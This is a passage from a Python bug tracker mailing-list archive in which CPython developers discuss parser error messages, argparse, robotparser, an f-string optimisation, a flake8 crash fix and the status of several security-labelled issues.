[issue44180] SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal In-Reply-To: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org> Message-ID: <1621621251.08.0.348795662777.issue44180@roundup.psfhosted.org> miss-islington added the comment: New changeset ae1732d4611ee859c754e7a867b2a4cbb47d0637 by Miss Islington (bot) in branch '3.10': bpo-44180: Fix edge cases in invalid assigment rules in the parser (GH-26283) https://github.com/python/cpython/commit/ae1732d4611ee859c754e7a867b2a4cbb47d0637 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 14:33:31 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 May 2021 18:33:31 +0000 Subject: [issue40736] better message for re.search TypeError ("expected string or bytes-like object") In-Reply-To: <1590181975.57.0.833400253921.issue40736@roundup.psfhosted.org> Message-ID: <1621622011.43.0.488666206842.issue40736@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 14:49:27 2021 From: report at bugs.python.org (Mark Shannon) Date: Fri, 21 May 2021 18:49:27 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1621622967.14.0.548278858971.issue44032@roundup.psfhosted.org> Mark Shannon added the comment: What's the test case, exactly? ref.py for the other issue doesn't crash if I change "func.py" to "ref.py" otherwise it just complains that "func.py" doesn't exist. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 14:55:49 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 18:55:49 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1621623349.2.0.725338866232.issue44032@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Is the test added here: https://github.com/python/cpython/pull/26274 import ast import builtins import sys import os tree = ast.parse("pass") x = [tree] x.append(x) # Put the cycle somewhere to survive until the *last* GC collection def callback(*args): pass callback.a = x os.register_at_fork(after_in_child=callback) ---------------- If this doesn't work maybe Erlend may help you reproducing this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:17:02 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 May 2021 19:17:02 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621599417.09.0.446516237322.issue44201@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Could we implement something in the REPL where it refuses to read another line when asked for a token in an error recovery rule? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:18:42 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 May 2021 19:18:42 +0000 Subject: [issue43927] Remove IOError references from the tutorial In-Reply-To: <1619214665.17.0.886781359628.issue43927@roundup.psfhosted.org> Message-ID: <1621624722.26.0.289129497666.issue43927@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:18:47 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 May 2021 19:18:47 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1621624727.31.0.107596782712.issue42109@roundup.psfhosted.org> Guido van Rossum added the comment: Having read the parts of the paper that explain shortening, things are making more sense now. I have also successfully contributed type annotations to minithesis! :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:20:59 2021 From: report at bugs.python.org (Karl Y. Pradene) Date: Fri, 21 May 2021 19:20:59 +0000 Subject: [issue44209] urllib.robotparser fail on Disallow: /? from google.com Message-ID: <1621624859.22.0.835080944412.issue44209@roundup.psfhosted.org> New submission from Karl Y. Pradene : In robotparser.py On line 222 path = urllib.parse.urlunparse(urllib.parse.urlparse(path)) tranform the entry Disallow: /? in the google.com/robots.txt in : Disallow: / making every can_fetch request return False ---------- components: Library (Lib) messages: 394144 nosy: karl.pradene priority: normal severity: normal status: open title: urllib.robotparser fail on Disallow: /? from google.com type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:22:11 2021 From: report at bugs.python.org (Barney Gale) Date: Fri, 21 May 2021 19:22:11 +0000 Subject: [issue44198] Add flags or function in pathlib.Path In-Reply-To: <1621544181.25.0.265520338591.issue44198@roundup.psfhosted.org> Message-ID: <1621624931.23.0.661341498531.issue44198@roundup.psfhosted.org> Barney Gale added the comment: My view: I think the existing solution (that you highlight) is sufficiently idiomatic and easy to discover, and doesn't warrant a new argument or function. However, that may change when `Path` is subclassable, for two reasons: 1. You will be able to subclass `Path` and add your own method, which you may find preferable to a helper function. 2. We _may_ add some sort of file type enum that wraps the constants in `stat`. In that case it might be natural to add a `file_type` argument to `iterdir()`. No promises! ---------- nosy: +barneygale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:24:58 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 May 2021 19:24:58 +0000 Subject: [issue44190] Dictionary assignment shorthand In-Reply-To: <1621521620.13.0.853268925141.issue44190@roundup.psfhosted.org> Message-ID: <1621625098.07.0.910433860078.issue44190@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:44:02 2021 From: report at bugs.python.org (Catherine Devlin) Date: Fri, 21 May 2021 19:44:02 +0000 Subject: [issue24929] _strptime.TimeRE should not enforce range in regex In-Reply-To: <1440452349.29.0.876134082373.issue24929@psf.upfronthosting.co.za> Message-ID: <1621626242.35.0.563207721399.issue24929@roundup.psfhosted.org> Catherine Devlin added the comment: Thinking about this a little more... I suggest that slowing down execution shouldn't be a worry in this case, because trying to parse a garbage string into a date shouldn't be something code is doing zillions of times, and if it is, being slow isn't a terrible thing. It should be the exception (so to speak) and not the rule, and thus not something we should worry about optimizing for. That said, I can see not wanting to rely on throwing low-level errors that are outside Python's direct control. (In fact, the PR I wrote didn't account for the OS-dependent nature of those messages, so if we decide to go ahead after all I'll need to make my PR account for that.) If that is enough reason to reject the change, I'm content with that. One way or the other, I would love to get this out of "Open" status - if we want to just close it as-is, I'll be satisfied. ---------- nosy: +catherinedevlin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:52:25 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 21 May 2021 19:52:25 +0000 Subject: [issue44140] WeakKeyDictionary should support lookup by id instead of hash In-Reply-To: <1621068171.99.0.542983196926.issue44140@roundup.psfhosted.org> Message-ID: <1621626745.75.0.283599705567.issue44140@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:55:23 2021 From: report at bugs.python.org (HVoltBb) Date: Fri, 21 May 2021 19:55:23 +0000 Subject: [issue44199] code example index error in tutorial controlflow In-Reply-To: <1621552113.7.0.197671013428.issue44199@roundup.psfhosted.org> Message-ID: <1621626923.08.0.310753604009.issue44199@roundup.psfhosted.org> HVoltBb added the comment: right. I just realized that the moment I hit the submit button, and I closed this issue right away. Thanks for clearing it up. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:55:49 2021 From: report at bugs.python.org (Catherine Devlin) Date: Fri, 21 May 2021 19:55:49 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string In-Reply-To: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> Message-ID: <1621626949.28.0.023809540942.issue44208@roundup.psfhosted.org> Catherine Devlin added the comment: Your PR doesn't include any tests... but I like the idea enough to create the tests for you if you prefer. However, first I'd like to see whether the core devs like the idea. I could see saying either "yes, why not make things easy" or "no, there should be only one way to do it". ---------- nosy: +catherinedevlin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 15:57:36 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 21 May 2021 19:57:36 +0000 Subject: [issue44187] Implement infrastructure for quickening and specializing In-Reply-To: <1621509319.67.0.0822328288042.issue44187@roundup.psfhosted.org> Message-ID: <1621627056.21.0.896352301418.issue44187@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:10:07 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 20:10:07 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621627807.76.0.614889256185.issue44201@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Yes, I was exactly working in that :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:14:22 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 20:14:22 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621628062.71.0.941041536318.issue44201@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +24901 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26298 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:20:33 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 May 2021 20:20:33 +0000 Subject: [issue19821] deprecate pydoc.ispackage() In-Reply-To: <1385625330.82.0.952141123031.issue19821@psf.upfronthosting.co.za> Message-ID: <1621628433.16.0.487970983662.issue19821@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: pydoc.ispackage() could be more accurate -> deprecate pydoc.ispackage() versions: +Python 3.11 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:21:24 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 20:21:24 +0000 Subject: [issue44210] Make importlib.metadata._meta.PackageMetadata public Message-ID: <1621628484.8.0.908930544273.issue44210@roundup.psfhosted.org> New submission from Filipe La?ns : This protocol is needed to write type hints, so it should be public. ---------- components: Installation messages: 394150 nosy: FFY00, jaraco priority: normal severity: normal status: open title: Make importlib.metadata._meta.PackageMetadata public type: enhancement versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:24:35 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 20:24:35 +0000 Subject: [issue44210] Make importlib.metadata._meta.PackageMetadata public In-Reply-To: <1621628484.8.0.908930544273.issue44210@roundup.psfhosted.org> Message-ID: <1621628675.6.0.701871647474.issue44210@roundup.psfhosted.org> Change by Filipe La?ns : ---------- keywords: +patch pull_requests: +24902 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26299 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:25:06 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 20:25:06 +0000 Subject: [issue44210] Make importlib.metadata._meta.PackageMetadata public In-Reply-To: <1621628484.8.0.908930544273.issue44210@roundup.psfhosted.org> Message-ID: <1621628706.15.0.0231032640943.issue44210@roundup.psfhosted.org> Change by Filipe La?ns : ---------- components: +Library (Lib) -Installation _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:29:20 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 May 2021 20:29:20 +0000 Subject: [issue43556] fix attr names for ast.expr and ast.stmt In-Reply-To: <1616155271.78.0.879688630382.issue43556@roundup.psfhosted.org> Message-ID: <1621628960.43.0.468858257161.issue43556@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 96c9961bfe1ab471a6bcd4b6e9255af25865dde2 by Zackery Spytz in branch '3.9': bpo-43556: Fix the attr names for ast.expr and ast.stmt in the docs (GH-24940) https://github.com/python/cpython/commit/96c9961bfe1ab471a6bcd4b6e9255af25865dde2 ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:29:35 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 May 2021 20:29:35 +0000 Subject: [issue43556] fix attr names for ast.expr and ast.stmt In-Reply-To: <1616155271.78.0.879688630382.issue43556@roundup.psfhosted.org> Message-ID: <1621628975.28.0.166017574136.issue43556@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:41:57 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 21 May 2021 20:41:57 +0000 Subject: [issue44194] Folding ''.join() into f-strings In-Reply-To: <1621537414.24.0.919441492854.issue44194@roundup.psfhosted.org> Message-ID: <1621629717.68.0.301469487734.issue44194@roundup.psfhosted.org> Batuhan Taskaya added the comment: > We should check on a real-world benchmark instead of a micro benchmark. It is a pretty-targeted optimization, so I don't expect it to speed up the macro benchmarks. Though that shouldn't be a blocker for small, targeted optimizations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:45:21 2021 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 21 May 2021 20:45:21 +0000 Subject: [issue44194] Folding ''.join() into f-strings In-Reply-To: <1621537414.24.0.919441492854.issue44194@roundup.psfhosted.org> Message-ID: <1621629921.03.0.355386945838.issue44194@roundup.psfhosted.org> Eric V. Smith added the comment: > It is a pretty-targeted optimization, so I don't expect it to speed up the macro benchmarks. Though that shouldn't be a blocker for small, targeted optimizations. In the past we've rejected optimizations that make the code more complex and don't result in any noticeable real-world speedups. I don't think that policy has changed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 16:54:52 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 21 May 2021 20:54:52 +0000 Subject: [issue44194] Folding ''.join() into f-strings In-Reply-To: <1621537414.24.0.919441492854.issue44194@roundup.psfhosted.org> Message-ID: <1621630492.6.0.483751277941.issue44194@roundup.psfhosted.org> Raymond Hettinger added the comment: I'm also dubious that this would be of value in real code. Looking at the implementation, it seems to throw way too much code at too small of a problem. I suspect is is more likely to cause maintenance problems than to produce noticeable benefits for users. Historically, we've avoided folding higher level operations. Serhiy's optimization of str.__mod__ went beyond those limits and shouldn't set a precedent that we will regret later. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:00:39 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 May 2021 21:00:39 +0000 Subject: [issue39710] "will be returned as unicode" reminiscent from Python 2 In-Reply-To: <1582300708.21.0.335550003251.issue39710@roundup.psfhosted.org> Message-ID: <1621630839.68.0.783362703806.issue39710@roundup.psfhosted.org> Irit Katriel added the comment: The open PR updates the docstrings in Lib/calendar.py but the corresponding changes in Doc/ still need to be added. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:03:01 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 May 2021 21:03:01 +0000 Subject: [issue40736] better message for re.search TypeError ("expected string or bytes-like object") In-Reply-To: <1590181975.57.0.833400253921.issue40736@roundup.psfhosted.org> Message-ID: <1621630981.65.0.851792003235.issue40736@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:11:43 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 May 2021 21:11:43 +0000 Subject: [issue43167] Add a note to the macOS installer welcome window about customize options In-Reply-To: <1612813729.04.0.380298765117.issue43167@roundup.psfhosted.org> Message-ID: <1621631503.04.0.180375984451.issue43167@roundup.psfhosted.org> Ned Deily added the comment: As of the 3.9.5 and 3.10.0b1 macOS installers, the following text is displayed during installation near the top of the "Read Me" window: Install Options --------------- You can control some aspects of what is installed by this package. To see the options, click on the Customize button in the Installation Type step of the macOS installer app. Click on a package name in the list shown to see more information about that option, ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:13:08 2021 From: report at bugs.python.org (Andreas Jansson) Date: Fri, 21 May 2021 21:13:08 +0000 Subject: [issue44211] Duplicate '.bmp' key in mimetypes.py, maps to both 'image/bmp' and 'image/x-ms-bmp' Message-ID: <1621631588.17.0.285799007956.issue44211@roundup.psfhosted.org> New submission from Andreas Jansson : The mime type of .bmp was changed from image/x-ms-bmp in https://github.com/python/cpython/pull/4756. https://github.com/python/cpython/pull/3062 then re-introduced image/x-ms-bmp while keeping the newer image/bmp mapping. ---------- components: Library (Lib) messages: 394157 nosy: andreasjansson priority: normal severity: normal status: open title: Duplicate '.bmp' key in mimetypes.py, maps to both 'image/bmp' and 'image/x-ms-bmp' type: behavior versions: Python 3.10, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:15:57 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 May 2021 21:15:57 +0000 Subject: [issue36494] bdb.Bdb.set_trace: should set f_trace_lines = True In-Reply-To: <1554042531.73.0.914325341354.issue36494@roundup.psfhosted.org> Message-ID: <1621631757.33.0.416548447253.issue36494@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: patch review -> test needed versions: +Python 3.10, Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:16:24 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 May 2021 21:16:24 +0000 Subject: [issue36494] bdb.Bdb.set_trace: should set f_trace_lines = True In-Reply-To: <1554042531.73.0.914325341354.issue36494@roundup.psfhosted.org> Message-ID: <1621631784.09.0.94920314755.issue36494@roundup.psfhosted.org> Irit Katriel added the comment: The patch needs a test. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:19:35 2021 From: report at bugs.python.org (Andreas Jansson) Date: Fri, 21 May 2021 21:19:35 +0000 Subject: [issue44211] Duplicate '.bmp' key in mimetypes.py, maps to both 'image/bmp' and 'image/x-ms-bmp' In-Reply-To: <1621631588.17.0.285799007956.issue44211@roundup.psfhosted.org> Message-ID: <1621631975.77.0.381197591619.issue44211@roundup.psfhosted.org> Change by Andreas Jansson : ---------- keywords: +patch pull_requests: +24903 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26300 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:23:07 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 21 May 2021 21:23:07 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621632187.1.0.552355048321.issue44151@roundup.psfhosted.org> Raymond Hettinger added the comment: Zachery, unless someone steps with an objection, I think you can go forward with the PR to implement this signature: linear_regression(x, y, /) -> LinearRegression(slope, intercept) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:32:20 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 May 2021 21:32:20 +0000 Subject: [issue43124] [security] smtplib multiple CRLF injection In-Reply-To: <1612443934.09.0.696762333019.issue43124@roundup.psfhosted.org> Message-ID: <1621632740.4.0.132244009573.issue43124@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the PR! Can someone from the email team take a look at it, please? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:44:39 2021 From: report at bugs.python.org (Anthony Sottile) Date: Fri, 21 May 2021 21:44:39 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621633479.3.0.575442180214.issue44184@roundup.psfhosted.org> Anthony Sottile added the comment: that version of flake8 uses multiprocessing (even for 1 file) -- would the ast objects be involved in that way? (pyflakes also makes reference cyles to handle "parent" relationships) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:50:16 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 21 May 2021 21:50:16 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621633816.55.0.739243388495.issue44206@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 17:50:18 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 21 May 2021 21:50:18 +0000 Subject: [issue44207] Add a version number to Python functions In-Reply-To: <1621612378.09.0.0247616387464.issue44207@roundup.psfhosted.org> Message-ID: <1621633818.46.0.168703632339.issue44207@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 18:22:30 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 May 2021 22:22:30 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1621635750.72.0.334345062023.issue36384@roundup.psfhosted.org> Ned Deily added the comment: Is there anything more to be done for this issue or can it be closed? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 18:50:18 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 22:50:18 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621637418.32.0.673389586055.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 50b0d148a68072292832eb69bdf1815b8059355f by Miss Islington (bot) in branch '3.10': bpo-44184: Fix subtype_dealloc() for freed type (GH-26274) (GH-26290) https://github.com/python/cpython/commit/50b0d148a68072292832eb69bdf1815b8059355f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 18:56:32 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 22:56:32 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621637792.29.0.255546910302.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: The issue is fixed by: commit 615069eb08494d089bf24e43547fbc482ed699b8 Author: Victor Stinner Date: Fri May 21 19:19:54 2021 +0200 bpo-44184: Fix subtype_dealloc() for freed type (GH-26274) Fix a crash at Python exit when a deallocator function removes the last strong reference to a heap type. Don't read type memory after calling basedealloc() since basedealloc() can deallocate the type and free its memory. _PyMem_IsPtrFreed() argument is now constant. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 18:57:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 22:57:50 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621637870.06.0.315008263935.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: Anthony Sottile: "that version of flake8 uses multiprocessing (even for 1 file) -- would the ast objects be involved in that way? (pyflakes also makes reference cyles to handle "parent" relationships)" I expect flake8 to use the ast somewhere to analyze source code. But I don't have the bandwidth to investigate flake8 creates a reference cycle. The Python regression is fixed, I closed the issue. Thanks for the bug report Anthony! ---------- priority: release blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 19:00:40 2021 From: report at bugs.python.org (William Barnhart) Date: Fri, 21 May 2021 23:00:40 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string In-Reply-To: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> Message-ID: <1621638040.27.0.157832463745.issue44208@roundup.psfhosted.org> William Barnhart added the comment: I'm glad someone else thinks it's a good idea. If you have some ideas for tests, I'd be happy to help write them in order to spare the inconvenience (unless the tests are that easy to write then by all means please do). I can appreciate why the core developers could be polarized. One side could say it's safer to just take better care of our Python scripts and have them in wrapper functions. But people don't always do this. In favor of the idea: This method can be used to spare developers from agony when a "_" is changed to a "-" when they aren't informed of the change. As a result, this can allow for code to remain usable since most developers are more interested in the letters of arguments and not so much special characters. But then again, a --help option could be all that's needed to fix this issue. I think a solution that satisfies both parties would be creating some safe guard for adding arguments that are named identically, containing "_" or "-" in the middle, and raising an exception when the regexes of the arguments are conflicting. Such as if I wrote: ``` parser.add_argument('--please_work') parser.add_argument('--please-work') ``` then an exception should be raised with an error for conflicting argument names. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 19:01:44 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 May 2021 23:01:44 +0000 Subject: [issue40695] hashlib: OpenSSL hash detection should obey security policy In-Reply-To: <1589962077.62.0.0858651561695.issue40695@roundup.psfhosted.org> Message-ID: <1621638104.95.0.564031607968.issue40695@roundup.psfhosted.org> Ned Deily added the comment: Is there anything more that needs to be done for this issue? ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 19:01:46 2021 From: report at bugs.python.org (Webb Scales) Date: Fri, 21 May 2021 23:01:46 +0000 Subject: [issue44038] In documentation Section 8.6, the definition of parameter_list need correcting In-Reply-To: <1620158888.72.0.734387137059.issue44038@roundup.psfhosted.org> Message-ID: <1621638106.6.0.257966435391.issue44038@roundup.psfhosted.org> Webb Scales added the comment: I concur -- it is correct as it is: I wasn't properly interpreting the alternation. Thank you for your attention; sorry for the false alarm! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 19:10:46 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 May 2021 23:10:46 +0000 Subject: [issue32084] [Security] http.server can be abused to redirect to (almost) arbitrary URL In-Reply-To: <1511185756.0.0.213398074469.issue32084@psf.upfronthosting.co.za> Message-ID: <1621638646.23.0.0568516989301.issue32084@roundup.psfhosted.org> Ned Deily added the comment: This looks like a duplicate of Issue43223 which has a PR in progress. ---------- nosy: +ned.deily resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> [security] http.server: Open Redirection if the URL path starts with // _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 19:22:48 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 May 2021 23:22:48 +0000 Subject: [issue20749] shutil.unpack_archive(): security concerns not documented In-Reply-To: <1393190017.96.0.0939250007559.issue20749@psf.upfronthosting.co.za> Message-ID: <1621639368.72.0.717161180278.issue20749@roundup.psfhosted.org> Ned Deily added the comment: The warning from Tarfile.extractall (Doc/library/tarfile.rst -> https://docs.python.org/dev/library/tarfile.html#tarfile-objects) can be adapted for use here (Doc/library/shutil.rst -> https://docs.python.org/dev/library/shutil.html#archiving-operations). ---------- keywords: +easy, newcomer friendly nosy: +ned.deily versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 19:25:06 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 21 May 2021 23:25:06 +0000 Subject: [issue29788] [Security] tarfile: Add absolute_path option to tarfile, disabled by default In-Reply-To: <1489162424.66.0.632437535873.issue29788@psf.upfronthosting.co.za> Message-ID: <1621639506.73.0.450183417962.issue29788@roundup.psfhosted.org> Change by Ned Deily : ---------- versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 20:02:37 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 22 May 2021 00:02:37 +0000 Subject: [issue37228] UDP sockets created by create_datagram_endpoint() allow by default multiple processes to bind the same port In-Reply-To: <1560245814.37.0.496048869185.issue37228@roundup.psfhosted.org> Message-ID: <1621641757.95.0.152058940686.issue37228@roundup.psfhosted.org> Ned Deily added the comment: Since 3.5 has now reached end-of-life, this issue will not be fixed there so it looks like it can be closed. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 20:25:40 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 22 May 2021 00:25:40 +0000 Subject: [issue33213] crypt function not hashing properly on Mac (uses a specific salt) In-Reply-To: <1522744018.72.0.467229070634.issue33213@psf.upfronthosting.co.za> Message-ID: <1621643140.4.0.0871555418263.issue33213@roundup.psfhosted.org> Change by Ned Deily : ---------- components: +macOS versions: +Python 3.11 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 20:30:11 2021 From: report at bugs.python.org (Ammar Askar) Date: Sat, 22 May 2021 00:30:11 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621643411.65.0.593026287142.issue44184@roundup.psfhosted.org> Ammar Askar added the comment: Indeed, it's quite a tricky issue so I'm glad it was caught in the 